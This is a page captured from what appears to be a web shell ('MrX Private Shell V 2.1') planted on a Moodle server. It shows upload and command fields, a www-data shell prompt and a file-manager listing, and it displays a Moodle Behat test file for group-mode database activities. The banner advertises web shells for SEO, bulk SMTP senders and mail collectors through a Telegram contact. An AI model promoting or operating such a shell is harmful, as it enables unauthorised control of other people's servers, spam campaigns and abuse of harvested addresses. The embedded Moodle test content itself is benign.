__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@mod @mod_data
Feature: Group data activity
  In order to create a database with my group
  As a student
  I need to add and view entries for the groups I am a member of

  Background:
    And the following "courses" exist:
      | fullname      | shortname |
      | Test Course 1 | C1        |
    And the following "groups" exist:
      | name    | course | idnumber | participation |
      | Group 1 | C1     | G1       | 1             |
      | Group 2 | C1     | G2       | 1             |
      | Group 3 | C1     | G3       | 0             |
    And the following "users" exist:
      | username | firstname    | lastname | email                |
      | teacher1 | TeacherG1    | 1        | teacher1@example.com |
      | teacher2 | TeacherGNone | 2        | teacher2@example.com |
      | teacher3 | TeacherGNone | 3        | teacher3@example.com |
      | user1    | User1G1      | 1        | user1@example.com    |
      | user2    | User2G2      | 2        | user2@example.com    |
      | user3    | User3None    | 3        | user3@example.com    |
      | user4    | User4NPgroup | 4        | user4@example.com    |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | teacher1 | C1     | editingteacher |
      | teacher2 | C1     | editingteacher |
      | teacher3 | C1     | teacher        |
      | user1    | C1     | student        |
      | user2    | C1     | student        |
      | user3    | C1     | student        |
      | user4    | C1     | student        |
    And the following "group members" exist:
      | user     | group |
      | teacher1 | G1    |
      | user1    | G1    |
      | user2    | G2    |
      | user4    | G3    |
    And the following "activities" exist:
      | activity | name          | intro                     | course | idnumber | groupmode |
      | data     | Separate data | Data with separate groups | C1     | data1    | 1         |
      | data     | Visible data  | Data with visible groups  | C1     | data2    | 2         |
    And the following "mod_data > fields" exist:
      | database | type      | name         |
      | data1    | shorttext | separatetext |
      | data2    | shorttext | visibletext  |
    And the following "mod_data > entries" exist:
      | database | user  | group | separatetext       |
      | data1    | user1 | G1    | I am user 1        |
      | data1    | user2 | G2    | I am user 2        |
    And the following "mod_data > entries" exist:
      | database | user  | separatetext       |
      | data1    | user3 | I am user 3        |
    And the following "mod_data > entries" exist:
      | database | user  | group | visibletext        |
      | data2    | user1 | G1    | I am user 1        |
      | data2    | user2 | G2    | I am user 2        |
    And the following "mod_data > entries" exist:
      | database | user  | visibletext        |
      | data2    | user3 | I am user 3        |
      | data2    | user4 | I am user 4        |

  Scenario Outline: Users should see their own participation groups in "separate groups" mode, and all
  participation groups in "visible groups" mode.
    Given I am on the "<data>" "data activity" page logged in as "<user>"
    Then I <all> "All participants"
    And I <G1> "Group 1"
    And I <user1> "I am user 1"
    And I <G2> "Group 2"
    And I <user2> "I am user 2"
    # All users should see entries with no group.
    And I should see "I am user 3"
    # No-one should see non-participation groups.
    And I should not see "Group 3"

    Examples:
      | data  | user     | all            | G1             | G2             | user1          | user2          |
      | data1 | teacher1 | should see     | should see     | should see     | should see     | should see     |
      | data1 | teacher2 | should see     | should see     | should see     | should see     | should see     |
      | data1 | teacher3 | should see     | should not see | should not see | should not see | should not see |
      | data1 | user1    | should not see | should see     | should not see | should see     | should not see |
      | data1 | user2    | should not see | should not see | should see     | should not see | should see     |
      | data1 | user3    | should see     | should not see | should not see | should not see | should not see |
      | data1 | user4    | should see     | should not see | should not see | should not see | should not see |
      | data2 | teacher1 | should see     | should see     | should see     | should see     | should see     |
      | data2 | teacher2 | should see     | should see     | should see     | should see     | should see     |
      | data2 | teacher3 | should see     | should see     | should see     | should see     | should not see |
      | data2 | user1    | should see     | should see     | should see     | should see     | should not see |
      | data2 | user2    | should see     | should see     | should see     | should not see | should see     |
      | data2 | user3    | should see     | should see     | should see     | should see     | should not see |
      | data2 | user4    | should see     | should see     | should see     | should see     | should not see |

  Scenario Outline: When viewing a database in visible groups mode,
  a user should only have the "Add entry" button for their own participation groups
    Given I am on the "data2" "data activity" page logged in as "<user>"
    And I select "<mygroup>" from the "group" singleselect
    And I should see "Add entry"
    When I select "<othergroup>" from the "group" singleselect
    Then I should not see "Add entry"

    Examples:
      | user  | mygroup          | othergroup |
      | user1 | Group 1          | Group 2    |
      | user2 | Group 2          | Group 1    |
      | user1 | All participants | Group 2    |
      | user2 | All participants | Group 1    |

  Scenario Outline: Users in no groups or non-participation groups should not be able to add entries
    Given I am on the "<data>" "data activity" page logged in as "<user>"
    Then I should not see "Add entry"

    Examples:
      | data  | user     |
      | data1 | user3    |
      | data1 | user4    |
      | data2 | user3    |
      | data2 | user4    |

Filemanager

Name Type Size Permission Actions
actionsmenu_replacement.feature File 16.73 KB 0777
add_entries.feature File 6.91 KB 0777
advanced_search.feature File 4.08 KB 0777
behat_mod_data.php File 2.41 KB 0777
behat_mod_data_deprecated.php File 3.88 KB 0777
create_activity.feature File 1.88 KB 0777
data_activities.feature File 2.37 KB 0777
data_activity_completion.feature File 5.93 KB 0777
data_activity_completion_pass_grade.feature File 8.45 KB 0777
data_activity_rating.feature File 2.32 KB 0777
data_activity_read_only_dates.feature File 1.6 KB 0777
data_activity_timeline.feature File 2.57 KB 0777
data_no_calendar_capabilities.feature File 2.46 KB 0777
data_presets.feature File 19.47 KB 0777
default_templates.feature File 7.17 KB 0777
edit_templates.feature File 10.12 KB 0777
entry_approval.feature File 2.34 KB 0777
group_mode.feature File 6.14 KB 0777
import_presets.feature File 8.69 KB 0777
manageapproved.feature File 3.95 KB 0777
preview_preset.feature File 8.94 KB 0777
required_entries.feature File 12.84 KB 0777
tertiary_navigation.feature File 6.55 KB 0777
use_presets.feature File 11.94 KB 0777
view_entries.feature File 10.63 KB 0777
zero_state.feature File 3.36 KB 0777
Filemanager